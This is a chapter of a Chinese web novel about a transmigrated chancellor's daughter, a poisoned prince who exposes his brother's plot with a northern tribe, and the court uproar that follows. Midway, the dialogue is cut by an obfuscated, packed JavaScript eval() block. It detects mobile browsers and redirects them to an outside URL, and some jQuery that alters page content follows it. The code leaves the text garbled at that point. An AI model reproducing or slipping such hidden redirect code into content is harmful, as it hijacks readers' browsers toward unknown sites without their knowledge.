珩王府,密室内烛火跳跃,宗政珩煜面前摊开的卷宗,密密麻麻记录着令人触目惊心的证据链条!
晏成步履匆忙地掀帘而入,怀中紧揣着一个白玉瓷瓶,还带着一路风尘的温度。
他急急递到宗政珩煜面前,低声道:“临安城快马加鞭送来的,总算赶在毒发前拿到夜鹰阁的解药。”
宗政珩煜接过药瓶,指节因用力微微发白。他唇色尚带青紫,目光却锐利如刀:“那夜马车遇袭,我便认出是夜鹰阁的手笔。”
他冷笑一声,“箭上淬的‘暗夜香’,除了他们,天下无人能制得出这般阴毒之物。”
他语气陡然转沉,每个字都似淬了冰:“宗政明尘,为了取我性命,当真费尽了心思。”
晏成跪在一旁为他上药,动作轻而急,烛光下可见伤口周围泛着不祥的黑紫色。药粉洒下时宗政珩煜眉头未皱一下,晏成却忍不住声音发紧:“只是苦了殿下……这三日毒蚀之痛,非常人所能忍。”
夜鹰阁的凶徒印记,北狄部落的隐秘交易信函,指向临安城那座战略重镇的异常兵力调动图……每一条线,都如同淬毒的藤蔓,紧紧缠绕在宗政明尘这个名字上。
晏成垂手侍立,他清晰地看到自家殿下紧抿的唇线,那弧度冷硬得如同冰雕,深邃的眼眸里不再是寒潭般的平静,而是酝酿着足以撕裂苍穹的风暴。
宗政珩煜的声音低沉沙哑,带着失血后的虚弱,看着密报,却蕴含着斩钉截铁的杀伐决断,“临安城……好,好得很。”
他唇角勾起一抹毫无温度的弧度,那笑容让晏成后背的汗毛都竖了起来。“豢养江湖凶徒,勾结外邦蛮夷,图谋边疆重镇……宗政明尘,你的胃口,未免太大了点!”
他猛地抬眼,寒芒如电:“所有证据,誊抄三份!一份密送御史台张大人,一份呈交大理寺卿,最详尽那份……明日早朝,本王亲自献给父皇!”
每一个字都像淬了冰的钢针,钉死在明王的棺材板上。“通知我们在临安的人,按计划行动,务必控制住夜鹰阁的几个关键堂口,拿到活口!本王要让他,百口莫辩!”
“是!殿下!”晏成领命,声音带着压抑的激动。蛰伏多时,雷霆一击!
他知道,一场足以震动整个大熵王朝的风暴,即将在明日朝堂之上!
同一时间,丞相府晚栀阁。气氛与珩王府的肃杀截然不同,弥漫着一股……咸鱼即将被晒干的焦糊味。
姜晚栀像条失去梦想的咸鱼,直挺挺地瘫在铺着厚厚绒毯的贵妃榻上,双目无神地望着头顶绣着百鸟朝凤的帐幔。
春桃端着一碗黑乎乎,散发着诡异苦味的汤药,苦口婆心地劝着:“小姐,您就喝一口吧?良医说了,这药最是安神定惊,您这魂儿都快吓没了三天了,再不喝点,怕是要飘去跟月宫嫦娥姐姐作伴了……”
“作伴?呵…”姜晚栀有气无力地哼唧一声,眼神空洞,“嫦娥姐姐那儿至少清静,没有随时想弄死我的皇子,也没有说话跟打哑谜似的未来皇帝,更没有……”
她猛地翻身坐起,动作太急眼前又是一阵发黑,吓得春桃差点把药碗扣她头上。
“小姐!”
“没事!死不了!”姜晚栀捂着嗡嗡作响的脑袋,一脸悲愤,“我就是想不通!想不通啊!春桃!”
她一把抓住春桃的胳膊,眼神灼灼,充满了被命运戏弄的控诉,“你说!我上辈子是炸了银河系?还是刨了玉帝老儿的凌霄宝殿?啊?怎么就穿进这么个破书里!穿就穿吧,还是个炮灰命!炮灰就炮灰吧,结果剧情它!崩!了!啊!”
她激动地挥舞着手臂,仿佛在跟无形的剧情对线:“女主!苏雨玥!书里写得明明白白,温柔善良聪慧大气,跟男主昭王那是天造地设的一对!结果呢?你猜怎么着?她挽着二皇子那个阴损玩意儿,笑得跟朵喇叭花似的!眼神拉丝!拉丝你懂吗?!男主光环呢?女主光环呢?被狗吃了吗?!这书是不是盗版的啊?!”
春桃被她晃得头晕,手里的药碗岌岌可危,只能干巴巴地安慰:“小姐,许是……许是苏小姐一时眼拙?毕竟二殿下……咳……也算仪表堂堂?”这话她自己说得都没底气。
“仪表堂堂?呸!”姜晚栀啐了一口,“那是条披着人皮的毒蛇!还是自带美颜滤镜的那种!危险系数SSS+!”
她泄气地又瘫回去,“最离谱的是我!我!一个手握剧本的上帝视角穿越者!本想着抱紧昭王这个男主的金大腿,逆天改命,结果呢?结果人家跟我打太极!”
她越想越气,抓起旁边一个软枕狠狠锤了两下,我总不能跟他说:“嗨,昭王殿下,其实我是从异世界穿过来的,我知道你未来是皇帝,明王是坏蛋,他要勾结北狄打临安城,你快去弄死他!”
姜晚栀打了个寒颤,抱紧了自己:“不行不行,此路不通!绝对不通!”她烦躁地抓了抓头发,感觉本就所剩无几的脑细胞在哀嚎。
“难道……我真的只能躺平当咸鱼,等着被剧情碾成渣?或者……去抱宗政珩煜那条看起来更粗,但未来会黑化弄死我的大腿?”
她想象了一下自己讨好宗政珩煜的画面,顿时恶寒,“算了吧,我怕还没抱上,就先被他冻成冰雕当王府景观了!他那眼神,看我跟看路边的石头有什么区别?哦,区别可能是石头不会炸毛也不会试图逃跑……”
她正沉浸在自己悲催的穿越生涯中无法自拔,门外传来小丫鬟秋菊小心翼翼的声音:“小姐……老爷下朝回来了,脸色……似乎不太好,请您去书房一趟。”
姜晚栀一个激灵,咸鱼瞬间诈尸:“爹找我?”
姜丞相,那可是朝堂老狐狸,泰山崩于前而色不变的主儿,能让他脸色不好的事……她心里咯噔一下,难道是珩王那边……?
丞相府书房,熏香袅袅,却压不住一股沉重的气息。
姜丞相端坐在太师椅上,眉头紧锁,手指无意识地敲击着桌面,发出沉闷的声响。看到姜晚栀进来,他脸上的凝重并未散去,只是招招手:“晚栀,过来坐。”
“爹,您怎么了?朝上出事了?”姜晚栀乖乖坐下,心脏提到了嗓子眼。
姜丞相重重叹了口气,声音带着前所未有的疲惫和一丝惊悸:“今日早朝……天翻地覆!”
他压低了声音,仿佛怕惊扰了什么:“九殿下珩王……当着陛下和满朝文武的面,抛出了如山铁证!直指二皇子明王,勾结盘踞临安城的江湖第一凶帮‘夜鹰阁’,私通北狄部落,暗中调兵遣将,图谋不轨,意图颠覆临安重镇!”
“什么?!”姜晚栀猛地捂住嘴,眼睛瞪得像铜铃!
“证据确凿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193920|181158||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”姜丞相语气急促。
“有夜鹰阁刺客的供词画押,有北狄部落与其往来的密信,甚至还有明王心腹在临安城调动私兵的暗令!桩桩件件,直指明王!陛下当场震怒!龙案都拍裂了!”
姜晚栀听得心潮澎湃,她忍不住追问:“然后呢?明王认罪了?”
“认罪?”姜丞相苦笑一声,摇摇头,“明王岂是易与之辈?他当场矢口否认,反咬一口!说九殿下是构陷!是忌惮他军功卓著,意图剪除异己!甚至……”
姜丞相的声音更低了几分,带着一丝后怕,“他甚至攀咬上了你爹我!”
“啊?!”姜晚栀傻了,“攀咬您?为什么?”
“他说,那些所谓通敌密信,是有人模仿他的笔迹伪造!而能接触到北狄文书样式,又有动机构陷于他的……”
姜丞相眼中闪过一丝锐利和怒意,“除了九殿下,就只有……身为丞相,总览六部文书往来的为父了!他暗示,是为父与九殿下联手,炮制了这场冤案!”
“我靠!”姜晚栀一个没忍住,脏话脱口而出,随即在姜丞相震惊的目光中讪讪捂嘴,“咳咳…我是说…他…他血口喷人!无耻之尤!”
“陛下正在盛怒之中,明王攀咬,朝堂之上顿时乱成一团。”
姜丞相揉了揉突突直跳的太阳穴,“九殿下据理力争,言辞犀利,当场指出了明王供词中几处无法自圆其说的致命漏洞。但明王党羽也非等闲,双方唇枪舌剑,互不相让……”
“最后,陛下下令,将明王暂且圈禁于府中,无旨不得出!所有涉案人员,包括夜鹰阁在临安城被抓捕的头目,全部押入天牢,由三司会审!严查到底!”
“圈禁?”姜晚栀眨眨眼,“没直接下大狱砍头啊?”
“皇子谋逆,非同小可!”姜丞相瞪了她一眼,“牵涉太广,证据虽指向明王,但也要经三司复核,以防有冤屈或疏漏。况且,明王在军中亦有根基,陛下此举,也是暂时稳住局面,避免朝堂彻底分裂,边关生乱。”
姜晚栀撇撇嘴,问:“那…珩王殿下呢?他伤那么重,上朝这么一闹…没事吧?”
问完她就后悔了,呸!关心他干嘛!他可是未来大反派!可脑子里却不由自主浮现他挡在自己身前那苍白却挺拔的背影。
姜丞相神色复杂地看了女儿一眼:“九殿下,自从那晚在马车上遇刺,伤口一直未痊愈,听闻是箭上有毒所致……所以当庭因情绪激动,咳了血。”
“咳血?!”姜晚栀的心猛地一揪,下意识地站了起来,“严不严重?太医怎么说?”
“强撑着一口气力陈罪状,心神激荡,牵动内腑,伤口也有些崩裂。”
姜丞相叹了口气,“陛下命太医随行,送回王府静养了。短期内,怕是不能再劳心劳力。”
他顿了顿,看着女儿脸上那不加掩饰的担忧,语气深沉了几分,“晚栀,如今朝局动荡,风雨欲来。明王虽被圈禁,但其党羽尚在,必不甘心。你与九殿下有婚约在身,又卷入了刺杀之事,如今更是处在风口浪尖。这段时日,务必谨言慎行,待在府中,轻易不要外出!为父会加派人手保护晚栀阁。”
“知道了,爹。”姜晚栀蔫蔫地应道。
得!又软禁!我这穿越生涯,不是在逃跑,就是在被关禁闭的路上。